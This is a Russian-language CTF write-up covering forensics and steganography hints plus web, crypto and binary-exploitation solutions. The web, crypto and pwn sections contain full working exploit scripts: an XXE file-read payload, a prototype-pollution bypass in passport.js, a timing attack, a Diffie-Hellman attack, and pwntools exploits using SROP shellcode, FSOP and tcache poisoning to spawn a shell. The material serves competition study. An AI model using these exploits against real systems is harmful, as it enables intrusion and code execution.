# Модуль A "CTF (Захват флага)" ### pdf Это испытание в 2 этапа : Во-первых, нажмите CTRL+а в PDF, чтобы найти пароль, написанный белым по белому. ``f1rs7_p4$$word`` Второй шаг - просмотреть метаданные PDF-файла, чтобы найти второй пароль. > exiftool <название>.pdf ... Создатель : 5EC0ND_P4SSW0RD ... Мы распаковываем архив с 2 найденными паролями и получаем флаг. flag{F1N4LLY} ### audio Откройте спектограмму wav файла и промаштабируйте чтобы увидеть флаг ### picture strings comedian.jpg, в строках лежит ответ ### kitty флаг на картинке ### RGB Каждый цвет = hex ### 1+1 склейка картинок, binwalk ### old text флагом является количество симловов в строке переведнное в ascii ### HiddenMessage одном из потоков был флаг ![](https://hackmd.io/_uploads/rkAnF-VBn.png) ### log file нужны было найти файл с расширением "sh" и подставить в формат флага полный путь до файла flag{полный путь} ### wireshark в одном из потоков находим флаг ![](https://hackmd.io/_uploads/BJft5-NHh.png) ### protocol в одном из потоков находим флаг :> ![](https://hackmd.io/_uploads/rJ_fs-EBh.png) ### mitm было дано два файла, один (sslkeyfile.txt) нужно было импортнуть с целью изучения шифрованного трафика ### easy shake Еда для змейки генерируется в виде флага, сам флаг flag{SHAKE} ### my music Открываем в VLC и выбираем венгерский язык суббтитров. На 2:28 на долю секунды появляется флаг ### unzip распаковка циклом ### vim Полученный файл имеет расширение `.gz`, после расжатия архиватором gzip получаем файл `data.img`. Воспользуемся утилитой `file`: ``` $ file data.img data.img: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 128, sectors/track 32, heads 64, sectors 131072 (volumes > 32 MB), serial number 0xc5dae84c, unlabeled, FAT (16 bit) ``` Это — FAT. Примонтируем FAT: ``` # mkdir /media/task # mount -t vfat -o ro,umask=000 ``` На Windows можно воспользоваться различными средствами для просмотра содержимого образа. На диске видим четыре директории, в одной из которых лежит скрытый файл `.agreement.txt.swp` — это бекап текстового редактора Vim. Восстановим его командой `vim -r .agreement.txt.swp`. В месте электронной подписи видим base64 от флага. ### 100 pages ctrl + a -> вставить в текстовый редактор ### web 1 Сервис использует протокол WebSocket для запросов расчета цены. По протоколу отправляются данные в формате json, дополнительно шифрованные методом AES, реализованным на клиенте и сервере. Поскольку seed для генерации ключа шифрования склеивается с IV и шифротекстом, можно без труда шифровать и расшифровывать данные при общении с сервером. В посылаемых данных присутствует параметр format со значением json. Можно пробовать его изменять на другие форматы данных и понять, что формат .xml также принимается. Далее находим уязвимость XXE, позволяющую читать локальные файлы, с помощью которой читаем флаг /flag.txt. Пример реализации: ``` const ws = require('ws'); const CryptoJS = require("crypto-js"); payload = `<!DOCTYPE r [<!ENTITY sp SYSTEM "file:///flag.txt">]><data><countries></countries><startdate></startdate><enddate></enddate><resttype></resttype><r>&sp;</r></data>` const MASTER_PASSWORD = 'InsureYourTravel' function encrypt(data) { var G = CryptoJS.lib.WordArray.random(16); key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, { keySize: 8, iterations: 100 }); var iv = CryptoJS.lib.WordArray.random(16); var I = CryptoJS.AES.encrypt(data, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return CryptoJS.enc.Base64.stringify(G.concat(iv).concat(I.ciphertext)) } function toBase64String(words){ return CryptoJS.enc.Base64.stringify(words); } function decrypt(data) { data = CryptoJS.enc.Base64.parse(data) var G = CryptoJS.lib.WordArray.create(data.words.slice(0, 4)) var iv = CryptoJS.lib.WordArray.create(data.words.slice(4, 8)) var ciphertext = CryptoJS.lib.WordArray.create(data.words.slice(8)) key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, { keySize: 8, iterations: 100 }); ciphertext = toBase64String(ciphertext); var D = CryptoJS.AES.decrypt(ciphertext, key, { iv: iv }).toString(CryptoJS.enc.Utf8) return D } function decrypted(body) { let { data } = body; if (!data) return data; return JSON.parse(decrypt(data)); } function encrypted(body) { return {'data': encrypt(JSON.stringify(body))}; } const socket = new ws.WebSocket('ws://IP:PORT'); socket.addEventListener('message', (event) => { if (event.data == 'connected') return; if (JSON.parse(event.data).error) { console.log(JSON.parse(event.data).error); return; } let dec = decrypted(JSON.parse(event.data)); console.log(dec); }); socket.addEventListener('open', (event) => { let enc = JSON.stringify(encrypted({format: 'xml', data: payload})); socket.send(enc); }); ``` ### web 2 Пример реализации эксплойта для решения: ``` import requests URL_BASE = "http://ip:port" s = requests.Session() s.post(f"{URL_BASE}/register", data={ "username": "username\r\n\r", "password": "123" }) res = s.get(URL_BASE) print(res.text) ``` ### web 3 Задача участника обойти проверку на локальный ip. ``` req.isLocalRequest = req.ip.includes("127.0.0.1") ... if (!req.isLocalRequest) return res.send("You should make request locally") ``` Для этого участник сначала должен обратить внимание на следующие строки: ``` app.get("/pollute/:param/:value", (req, res) => { var a = {} a["__proto__"][req.params.param] = req.params.value res.send("Polluted!") }) ``` В данном отрывке кода находится уязвимость под названием prototype pollution. Сама по себе она не сможет помочь обойти проверку, ведь в силу специфики prototype pollution у участника появляется возможность изменять только необъявленные свойства. Далее, в процессе решения, участник должен обратить внимание на функции, которые могут вызываться неоднократно, при этом после того, как произошло “загрязнение” свойства. Ниже представлен перечень строк, подходящих под описание. ``` app.use(session({ secret: 'secret', resave: false, saveUninitialized: false, store: new SQLiteStore({ db: 'sessions.db', dir: "."}) })) app.use(passport.authenticate('session')) app.use(passport.initialize()) ``` В процессе изучения функций участник должен проанализировать файл из исходного кода opensource проекта passport.js. В файле passport/lib/strategies/session.js на 117 строчке участник должен заметить, что параметр _userProperty не объявлен, значит он может контролировать его значение. ``` var paused = options.pauseStream ? pause(req) : null; this._deserializeUser(su, req, function(err, user) { if (err) { return self.error(err); } if (!user) { delete req.session[self._key].user; } else { var property = req._userProperty || 'user'; req[property] = user; } self.pass(); ``` Из 118 строчки понятно, что имея контроль над параметром _userProperty, мы можем изменять значение в объекте req для любого ключа, отсюда следует, что мы можем перезаписать isLocalRequest на произвольную непустую строчку, тем самым обойдя проверку. Пример решения: ``` import requests URL = "http://ip:port" s = requests.Session() s.get(f"{URL}/pollute/_userProperty/isLocalRequest") s.get(f"{URL}/auth?username=user") res = s.get(f"{URL}/admin/flag") print(res.text) ``` ### crypto 1 В данном задании участнику предоставляется сервис по хэшированию сообщения. Участник запрашивает бит флага, который будет захэширован и передан участнику (неограниченное количество раз). При этом, для шифрования нулевого бита и единичного бита будут выбираться разные алгоритмы хэширования, которые значительно различаются по времени. Участнику надо проанализировать медианное время хэширование нулевого и единичного бита, а после найти ответ. Для решения данной задачи участнику было нужно: Найти длину флага при помощи бинарного поиска (или просто перебора); Понять, что если выбранный бит флага равен единице, то операция будет сильно сложнее, чем операция при бите флага равном нулю. Ниже представлено решение: ``` import requests import time from Crypto.Util.number import * r = requests.Session() url = 'http://127.0.0.1:5000' # Данная функция возвращает бит ответа по индексу def guess_bit(index:int): return r.get(f"{url}/guess_bit?bit={index}").json() # Данная функция возвращает бит ответа по индексу и время, которое на это ушло def guess_bit_timing(index:int): time_start = time.time_ns() ans = r.get(f"{url}/guess_bit?bit={index}").json() time_end = time.time_ns() return ans, time_end - time_start # Данная функция реализует бинарный поиск по длине ответа, возвращает количество бит в ответе def find_length(): msg = guess_bit(0) low = 0 #i think 1000 bits for flag enough high = 1000 #binary search for smart people :D while low <= high: middle = (low + high)//2 msg = guess_bit(middle) if "error" in msg.keys(): high = middle - 1 else: low = middle + 1 #from zero to length of flag - 1 return low length = find_length() # Данная функция находит среднее время, необходимое, чтобы достать бит по индексу. def medium_time(index, attempts = 50): timings = [] # hardcoded 50 is a random number for _ in range(attempts): timings.append(guess_bit_timing(index)[1]) return sum(timings)/len(timings) # Находим среднее время для нулевого бита MED_ZERO_TIME = medium_time(length - 2) # Находим среднее время для единичного бита MED_ONE_TIME = medium_time(0) # Находим медианное время MED_TO_DIVIDE = (MED_ZERO_TIME + MED_ONE_TIME)/2 # Данная функция находит бит, сравнивая среднее время для бита по индексу и медианное время def timing_attack_for_bit(index): bit_time = medium_time(index, 10) return '1' if bit_time > MED_TO_DIVIDE else '0' # Данная функция находит каждый бит флага def retrieve_flag(): flag = '' for i in range(length): flag += timing_attack_for_bit(i) return long_to_bytes(int(flag,2)).decode() if __name__ == "__main__": print(retrieve_flag()) ``` ### crypto 2 В данной задаче участнику необходимо найти секрет в уязвимой версии протокола Дифи-Хеллмана. По предположению протокола оба участника обмена не должны знать ключи друг друга. Уязвимость в данном задании заключается в том, что секрет постоянен. Участнику необходимо собрать достаточно дискретных логарифмов по подгруппам (по которым легко считать дискретный логарифм) и найти ответ при помощи китайской теоремы об остатках, взяв как остатки - дискретные логарифмы, а как модули — порядки подгрупп, по которым дискретный логарифм считался. Участником предоставлялось множество уравнений: `pow(g,answer,p) == x` Где answer – ответ на задачу, а g и p - разные в каждом уравнении. Участнику необходимо модифицировать алгоритм Полига-Хеллмана для постоянного секрета и множества уравнений. Ниже представлена одна из возможных реализаций: ``` from sage.all import * from factorize import factorize as ife import math from info import info as infos from libnum import solve_crt from Crypto.Util.number import * import requests import time #main idea to find small factors of an order of element #than take subgroup of order with small factor and compute discrete log #than take crt and win url = 'http://127.0.0.1:5000' # Данная функция получает уравнение def get_info(num): anses = [] for _ in range(num): anses.append(requests.get(f"{url}/shared_flag").json()) return anses # Данная функция получает делитель числа number, находящийся в промежутке от 2^10 до 2^40 def find_convinient_factor(number, min=2**10, max=2**40): factors = ife(number) maxi = None for i in range(len(factors)): if min < factors[i] < max: maxi = factors[i] return maxi # Данная функция находит маленький дискретный логарифм по подгруппе, порядка маленького множителя порядка группы. def get_small_discrete_log(info): p = info['p'] g = info['g'] order = p - 1 # Находим новый порядок подгруппы _factor = find_convinient_factor(order) if _factor is None: return None, None # Если смогли найти удобный для нас множитель G = GF(p) # Переходим в подгруппу порядка _factor new_g = G(pow(g, order//_factor, p)) new_secret = G(pow(info['shared_flag'], order//_factor, p)) # Считаем дискретный логарифм по подгруппе маленького порядка flag_part = discrete_log(new_secret, new_g, _factor) # Возвращаем результат логарифмирования и порядок подгруппы return flag_part, _factor # Данная функция вызывает get_small_discrete_log пока не будет достаточно информации для получения ответа def handle_info(infos): orders = [] remainders = [] for info in infos: parted = get_small_discrete_log(info) if parted[1] is not None: if parted[1] not in orders: orders.append(parted[1]) remainders.append(parted[0]) print(f"{prod(orders).bit_length()}/180 of progress", end = '\r') if prod(orders) > 2**180: return orders, remainders return orders, remainders def solve(): ords, rems = handle_info(infos)# Находим результаты логарифмирования и порядки подгрупп, в которых эти логарифмы были найдены # При помощи китайской теоремы об остатках находим ответ. print(long_to_bytes(solve_crt(rems,ords )).decode()) if __name__ == "__main__": solve() ``` ### pwn 1 ![](https://hackmd.io/_uploads/rkCKQfEH2.png) Таск состоит из одного бинарного файла, который состоит из 14 строчек ассемблерного кода и слинкован без каких-либо библиотек (рис. 1). ![](https://hackmd.io/_uploads/S1K5QM4S3.png) Из ассемблерного кода становится ясна суть программы: после прочтения на стек `0x20` байт начинается переполнение, позволяющее получить контроль над потоком выполнения программы. Поскольку в задании отсутствуют механизмы защиты в лице канареек и `PIE`, очевидным способом решения задания становится `ROP`. В задании присутствует один существенный нюанс - это размер бинарного файла. В силу размеров и отсутствия прилинкованных библиотек возникают трудности с построением рабочей ROP-цепочки. На первый взгляд существует всего 2 гаджета: * гаджет прочтения по адресу `rbp-0x20` * `syscall`- гаджет Однако, для того, чтобы воспользоваться `sycall`-гаджетом, нам необходимо контролировать значение регистра `rax`, для чего мы воспользуемся свойством вызываемого в программе syscall-ом `read` - количество прочитанных им байт сохраняется в этом регистре. Таким образом мы получили два примитива. К сожалению, этого все еще недостаточно, чтобы полноценно управлять исполнением программы, поскольку для использования остальных syscall-ов нам необходимо контроллировать аргументы для них, а гаджетов для этого попросту нет. На наше счастье существует syscall `sigreturn`, а техника построения `ROP`-цепочек с его использованием носит название `SROP`. ``` sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame int sigreturn(...); ``` По сути данный syscall берет со стека значение всех регистров, которые предварительно были разложены туда в определенном порядке. Итак, поскольку в силу наличия примитива переполнения на стеке мы можем записать туда необходимые значения, то после вызова syscall-а `sigreturn` мы можем управлять значениями всех регистров. Дальнейший план построения ROP-цепочки * Подготовить на стеке значения всех регистров; * С помощью гаджета на чтение прочитать ровно `0xf` байт (номер syscall-а `sigreturn`); * Подготовить sigreturn frame для вызова `mprotect`; * После вызова mprotect записать shellcode и “прыгнуть” на него. После вызова `sigreturn` будет выполнена инструкция `ret`, a значит, регистр `rsp` должен указывать на какое-то место в бинарном файле, в котором лежит адрес его исполняемой части, чтобы избежать падения программы. Это место ищется вручную с помощью gdb и в итоговом эксплойте является просто магическим числом. Пример исходного кода для решения: ``` import pwn from time import sleep from os import getenv SHELLCODE = b"\x48\x31\xF6\x48\x31\xD2\x49\xB8\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x4C\x89\x04\x25\x00\x10\x40\x00\x48\xC7\xC7\x00\x10\x40\x00\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05" SYSCALL_GADGET = 0x000000000040102d READ_ON_BUF = 0x0000000000401018 binary = pwn.ELF("./micro") pwn.context.binary = binary io = pwn.remote(getenv("IP"), int(getenv("PORT"))) frame = pwn.SigreturnFrame() frame.rdi = 0x400000 frame.rsi = 0x10000 frame.rax = 0xa frame.rdx = 0x7 frame.rbp = 0x402100 frame.rip = SYSCALL_GADGET frame.rsp = 0x4021f0 payload = pwn.cyclic(0x20) # fill buffer payload += pwn.p64(READ_ON_BUF) payload += pwn.p64(SYSCALL_GADGET) payload += bytes(frame) io.send(payload) sleep(1) io.send(pwn.cyclic(0xf)) sleep(1) payload2 = pwn.cyclic(0x20) + pwn.p64(0x4021f0 + 0x8) payload2 += SHELLCODE io.send(payload2) io.interactive() ``` ### pwn 2 Задание представляет собой имитацию записной книжки - мы имеем возможность записывать в нее, читать записанное, либо выйти. Нам видны сразу же две уязвимости. Уязвимость форматной строки в функции вывода содержимого: ``` void printNotebook() { printf("Here's what you wrote.\n"); printf(data); } ``` Вместо действительного вывода в файл программа переписывает указатель на файловую структуру с введенными пользователем данными: ``` printf("I'm not really sure, how to write to a file, I guess that's the correct way...\n"); memcpy(&notebook, data, 0x100); fclose(notebook); return 0; } ``` План эксплуатации: * получить базовые адреса бинарного файла и `libc` с помощью форматной строки; * провести атаку на файловую структуру (данная техника носит название `FSOP`). `FILE *` представляет собой указатель на структуру `_IO_FILE_plus` ``` struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_FILE *_chain; int _fileno; int _flags2; _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; //....// }; struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); //...// JUMP_FIELD(_IO_imbue_t, __imbue); }; ``` По сути своей это структура, полностью описывающая файловый поток, и таблица функций, она же `vtable`. `Vtable` - очень важная структура, так как содержит в себе указатели на функции, использующиеся “под капотом” многих других. Так, например, функция `fclose()` в своей реализации вызывает поле `__finish` `vtable`-а файловой структуры. ``` #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0) int _IO_new_fclose (_IO_FILE *fp) { int status; //....// _IO_FINISH (fp); if (fp->_mode > 0) //....// } ``` Таким образом, если мы можем контролировать указатель на файловую структуру, мы в состоянии создать поддельную файловую структуру, поле `__finish` `vtable`-а которой указывает на интересующую для вызова функцию. К сожалению, мы не в состоянии сразу указать поле `__finish` на условный `one-gadget`, поскольку начиная с `glibc-2.27` была введена проверка того, что все указатели `vtable`-а структуры `_IO_FILE_plus` лежат в строго отведенной под это области `glibc`. ``` static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } ``` К счастью для нас, в `glibc-2.27` в этой области, отведенной под `vtable`-ы, существует функция `_IO_str_finish` ``` oid _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); } ``` Мы сразу же замечаем, что тут происходит преобразование нашей файловой структуры к типу `_IO_strfile`, а затем поле преобразованной структуры используется в качестве указателя на функцию, аргументом которй подается поле `_IO_buf_base`. Итак, финальный план выглядит следующим образом: * Создать файловую структуру, по оффсету `0xe8` (где должен находиться указатель на функцию), от которой мы положим адрес функции `system`; * В поле `_IO_buf_base` нашей структуры мы положим указатель на строку `/bin/sh`; * Переписать `_vtable` таким образом, чтобы в поле `__finish` лежал указатель на `_IO_str_finish`; Пример кода: ``` import pwn from os import getenv binary = pwn.ELF("./../chall/notebook", checksec=False) ld = pwn.ELF("./../chall/ld-2.27.so", checksec=False) libc = pwn.ELF("./../chall/libc-2.27.so", checksec=False) LIBC_OFFSET = 0x3b07e3 io = pwn.remote(getenv("IP"), int(getenv("PORT"))) def pad(payload, size): return payload + b'\x00' * (size - len(payload)) def postThread(payload): io.sendline(b'1') io.sendlineafter(b'> ', payload) io.recvuntil(b'> ') def readThread(): io.sendline(b'2') io.recvuntil(b'> ') io.recvline() return io.recvline(b'> ') def Exit(): io.sendline(b'3') io.interactive() # send payload for leak leakPayload = b'%p|' * 30 postThread(leakPayload) # leak libc base libc_leak = readThread().split(b'|')[0] libc_leak = int(libc_leak.decode(), 16) libc.address = libc_leak - LIBC_OFFSET pwn.log.success(f"LIBC_BASE: {hex(libc.address)}") print(hex(libc.symbols['_IO_str_jumps'] - libc.address)) print(hex(libc.symbols['system'] - libc.address)) print(hex(next(libc.search(b'/bin/sh')) - libc.address)) # craft fake _IO_FILE_plus structure fakeFile = b'' fakeFile = pad(fakeFile, 0x38) fakeFile += pwn.p64(next(libc.search(b'/bin/sh'))) # _IO_buf_base fakeFile = pad(fakeFile, 0x88) fakeFile += pwn.p64(0x404070) # _lock fakeFile = pad(fakeFile, 0xd8) fakeFile += pwn.p64(libc.symbols['_IO_str_jumps']) # _vtable fakeFile = pad(fakeFile, 0xe8) fakeFile += pwn.p64(libc.symbols['system']) payload = pwn.p64(binary.symbols['notebook'] + 8) payload += fakeFile postThread(payload) io.interactive() #Exit() ``` ### pwn 3 Задание представляет собой имитацию дневника. Доступен функционал создания, чтения, удаления и изменения записей. ``` void printMenu() { puts("1) Add"); puts("2) Edit"); puts("3) View"); puts("4) Remove"); puts("5) Exit"); } ``` Сразу же ясeн характер уязвимости: при удалении записи указатель на область кучи на заменяется нулем, что позволяет с помощью методов редактирования и чтения записей обращаться к освобожденным участкам кучи (UAF). ``` void deleteGrade() { //...// free(diary[index] -> comment); free(diary[index]); } ``` Прежде всего воспользуемся найденной уязвимостью, чтобы получить базовый адрес `libc`. Для этого, освободив достаточно большой для попадания в `unsorted bin` участок памяти, посмотрим его содержимое методом `viewGrade()`. У чанков в `unsorted bin` на месте указателя fd будет лежать адрес main_arena, которая находится как раз где-то внутри glibc. Чтобы перехватить управление исполнением программы, воспользуемся тем, что в версии glibc задания все еще присутствуют символы `__free_hook`, `__malloc_hook` и `__realloc_hook`. Переписав их значение на указатель интересующей нас функции (разумеется, `system`), мы сможем, подав в качестве аргумента функции `free()` указатель на аллоцированный кусок памяти со строкой `/bin/sh`, получить shell. Для этого будет исполнена техника -[tcache_poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c). Переписав в “отравленном” чанке указатель `fd` на адрес `__free_hook`, мы сможем, выделив его себе под запись, изменить значение на адрес функции `system`. Пример кода: ``` import pwn from os import getenv ONE_GADGETS = [0xe699e, 0xe69a1, 0xe69a4, 0x10af39] io = pwn.remote(getenv("IP"), int(getenv("PORT"))) def Add(mark, size, comment): io.sendline(b"1") io.recvuntil(b": ") io.sendline(str(mark).encode()) io.recvuntil(b": ") io.sendline(str(size).encode()) io.recvuntil(b": ") io.send(comment) io.recvuntil(b": ") def Edit(index, mark, size, data): io.sendline(b"2") io.sendlineafter(b': ', str(index).encode()) io.sendlineafter(b': ', str(mark).encode()) io.sendlineafter(b': ', str(size).encode()) io.sendlineafter(b': ', data) io.recvuntil(b": ") def View(index): io.sendline(b"3") io.sendlineafter(b': ', str(index).encode()) comment = io.recvuntil(b'1)')[15:] io.recvuntil(b": ") return comment def Remove(index): io.sendline(b"4") io.sendlineafter(b': ', str(index).encode()) io.recvuntil(": ") def Exit(): io.sendline(b'5') io.interactive() Add(0, 0x410, b"/bin/bash") # 0 Add(1, 0x40, b"/bin/bash") # 1 Add(2, 0x40, b"/bin/bash") # 2 # fill up tcache and prevent chunk consolidation for i in range(3, 10): Add(i, 0x60, b"/bin/bash") for i in range(3, 10): Remove(i) # move large chunk to unsorted bin Remove(0) leak = View(0) leak = leak.split(b': ')[2][:-2] leak = int.from_bytes(leak, byteorder="little") libc_base = leak - 0x1eabe0 print("[+] leak: ", hex(leak)) print("[+] base: ", hex(libc_base)) # tcache poisoning Remove(1) Remove(2) # malloc hook Edit(2, 5, 0x40, pwn.p64(libc_base + 0x1eab5d)) Add(0, 0x40, b"/bin/bash") Add(0, 0x40, b"\x00"*19 + pwn.p64(libc_base + ONE_GADGETS[1])) io.sendline(b"1") io.interactive() ``` ### linux 1,2,3 Таск был на форензику, нужно было сбросить пасс и залогиниться или получить доступ к диску иным путем.